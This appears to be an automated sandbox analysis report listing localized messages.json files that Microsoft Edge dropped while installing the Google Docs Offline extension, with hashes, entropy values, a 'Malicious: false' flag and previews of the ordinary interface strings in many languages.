Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
